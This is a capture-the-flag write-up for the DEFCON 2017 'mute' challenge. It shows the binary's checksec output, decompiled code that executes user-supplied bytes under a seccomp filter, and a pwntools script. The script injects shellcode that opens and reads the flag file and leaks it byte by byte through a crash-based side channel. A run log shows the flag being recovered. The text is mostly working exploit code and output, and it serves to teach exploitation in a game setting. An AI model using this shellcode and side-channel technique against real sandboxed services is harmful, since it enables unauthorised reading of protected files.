mute[KR]

lazenca0x0@ubuntu:~/CTF/DEFCON2017/mute$ file mute
mute: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3c37c5241fad4af47c79288b1f0aea4b63418e86, not stripped
lazenca0x0@ubuntu:~/CTF/DEFCON2017/mute$ checksec.sh --file mute
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   mute
lazenca0x0@ubuntu:~/CTF/DEFCON2017/mute$ 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsi@1
  FILE *v4; // rdi@1
  int len; // [rsp+14h] [rbp-Ch]@1
  void *buf; // [rsp+18h] [rbp-8h]@1

  len = 0;
  v3 = (void *)4096;
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);//mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 
  puts("SILENCE, FOUL DAEMON!");
  v4 = _bss_start;
  fflush(_bss_start);
  dropSyscalls();
  while ( len != 0x1000 )
  {
    v3 = buf;
    v4 = 0LL;
    len += read(0, buf, 0x1000 - len);
  }
  ((void (__fastcall *)(FILE *, void *))buf)(v4, v3);
  return 0;
}

__int64 dropSyscalls()
{
  ctx = seccomp_init(0LL);
  if ( !ctx )
  {
    seccomp_reset(ctx, 0LL);
    _exit(-1);
  }
  seccomp_arch_add(ctx, 0xC000003ELL);          // SCMP_ARCH_X86_64
  addRule(0);
  addRule(2u);
  addRule(3u);
  addRule(4u);
  addRule(5u);
  addRule(6u);
  addRule(7u);
  addRule(8u);
  addRule(9u);
  addRule(0xAu);
  addRule(0xBu);
  addRule(0xCu);
  addRule(0x3Bu);
  return seccomp_load(ctx);
}

__int64 __fastcall addRule(unsigned int syscall)
{
  __int64 rc; // rax@1

  rc = seccomp_rule_add(ctx, 0x7FFF0000LL, syscall, 0LL);// SCMP_ACT_ALLOW
  if ( (_DWORD)rc )
    _exit(-syscall);
  return rc;
}

from pwn import *


...


	shellcode = shellcode = asm('''
	cmp     r15, 0x0
	ja      load
	mov     r15, rbp
	mov 	r14,rsp
	sub 	r14, 0x838

	load:
	''')

	shellcode += asm(shellcraft.amd64.linux.open('./flag'))
	shellcode += asm(shellcraft.amd64.linux.read('rax','r14',count=flagLen))
	shellcode += asm('''
		xor     rsi, rsi
		mov     sil, ''' + hex(ch) + '''
		cmp     [r14+''' + hex(location) + '''], sil
		je fin
		jmp again

		again:
		mov [rbp-0xc],ebx
		mov r12, 0x400B0B
		jmp r12
	 
		fin:
		mov r12, 0x400B45
		jmp r12
	''')

from pwn import *

context.arch = 'amd64'

flag = ''
flagLen = 120
prog = log.progress('Searching...')

for location in range(0,flagLen):
	p = process('./mute')
	p.recvline()

	for ch in range(32,127):
		shellcode = shellcode = asm('''
			cmp     r15, 0x0
			ja      load
			mov     r15, rbp
			mov 	r14,rsp
			sub 	r14, 0x838

			load:
		''')
		shellcode += asm(shellcraft.amd64.linux.open('./flag'))
		shellcode += asm(shellcraft.amd64.linux.read('rax','r14',count=flagLen))
		shellcode += asm('''
			xor     rsi, rsi
			mov     sil, ''' + hex(ch) + '''
			cmp     [r14+''' + hex(location) + '''], sil
			je fin
			jmp again

			again:
			mov [rbp-0xc],ebx
			mov r12, 0x400B0B
			jmp r12
		 
			fin:
			mov r12, 0x400B45
			jmp r12
		''')
		
		try:
	       		p.send(shellcode.ljust(4096, "\x00"))
	   	except:		
			flag += chr(ch-0x1)
			log.info('Flag : ' + flag)
			p.close()
			break

prog.success('Done!')
log.info('Flag : ' + flag)

...

[*] Flag : The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e6319
[+] Starting local process './mute': pid 127140
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 127140)
[*] Flag : The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e63190
[+] Starting local process './mute': pid 127502
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 127502)
[*] Flag : The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901
[+] Starting local process './mute': pid 127884
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 127884)
[*] Flag : The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901f
[+] Starting local process './mute': pid 129326
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 129326)
[*] Flag : The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
[+] Starting local process './mute': pid 130668
[+] Starting local process './mute': pid 2081
[+] Starting local process './mute': pid 4014
[+] Starting local process './mute': pid 5917
[+] Starting local process './mute': pid 7819
[+] Starting local process './mute': pid 9721
[*] Flag : The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
[*] Stopped process './mute' (pid 9721)
[*] Stopped process './mute' (pid 7819)
[*] Stopped process './mute' (pid 5917)
[*] Stopped process './mute' (pid 4014)
[*] Stopped process './mute' (pid 2081)
[*] Stopped process './mute' (pid 130668)
lazenca0x0@ubuntu:~/CTF/DEFCON2017/mute$